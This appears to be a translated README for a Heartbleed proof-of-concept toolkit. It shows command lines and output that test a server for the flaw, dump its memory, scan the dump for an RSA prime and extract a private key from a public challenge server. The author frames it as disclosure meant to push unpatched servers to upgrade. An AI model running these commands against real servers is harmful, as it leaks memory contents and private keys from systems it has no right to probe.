作者:Einar Otto Stangvik / @einaros / https://hacking.ventures
既然秘密早已公开,他人也已开始发布他们的工具,我也将我的工具公之于众。希望这能对那些尚未修补或升级服务器的组织施加更多压力。其他人可能会觉得这些工具具有教育价值。
与许多其他Heartbleed概念验证(PoC)不同,此工具将在初始ClientHello数据包中提供尽可能多的密码套件。服务器选中的任何密码套件都将用于转储会话中的所有后续ClientHello数据包。这应确保正确的漏洞检测,并在找到密码套件后减少开销。
请随意使用这些工具,但请帮我们所有人一个忙:解决问题,而不是制造问题。
受以下人员的工作和出版物启发:
这里展示了在一分钟内从CloudFlare挑战中恢复RSA素数34次的过程。相当于在一分钟内获取了完整的私钥34次。

# Test vulnerability using unobtrusive mode
# This will request N bytes, but supply N-1 itself, so that the server will
# only actually bleed a single byte if vulnerable. Suggested N is 16360 in this
# case, since that will result in a single TLS record:
# 3 + 2 + 1 + 2 + 16360 + 16 bytes = 0xFFFF.
$ ./hb.py -u -n 16360 -p 443 www.example.int
www.example.int:443 is vulnerable
# Dupm data from CloudFlare's old challenge server
$ ./hb.py -p 443 www.cloudflarechallenge.com -n 0xF000 -l 100 -t 50 -d -o cloudflare-dump.bin
[2014/04/14 10:55:48] Incoming data rate: 85877 kbps
... runs for a while
# Look for prime in the dump
$ ./keyscan.py cloudflare.crt cloudflare-dump.bin
Key size: 128
Data length: 173476834
cloudflare-dump.bin Offset 0xf155ec: p = 13827796798740740191625032142481917804987720337701...
# Extract key once found
$ ./keyscan.py cloudflare.crt cloudflare-dump.bin 0xf155ec
Prime should be at offset: f155ec
Key size: 128
Hexdump of surrounding data:
f151ec: D0 00 00 00 00 00 00 00 00 00 00 00 00 00 30 C0 ..............0.
f151fc: 3C 01 00 00 00 00 00 00 00 00 00 00 00 00 90 8B <...............
f1520c: D0 00 00 00 00 00 02 00 C3 A3 4D 08 48 47 00 00 ..........M.HG..
...
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAm0AWkVnDx5feOctdC97Ztgvtd25uKKmhjCHpLycmExe1RiRSl/hGIL7f8Fg/
qiUztVm5uXZJ1UG7dzz+9OtTNh+v27BtzPsU3yivHevwAB1mTMtP6bPuXBjzsxRcC9yVcBBWpKBM
...
作者不会且不能对本包的任何部分主张任何权利。它基于开放思想,并且,对于作者来说,它应当永远保持开放。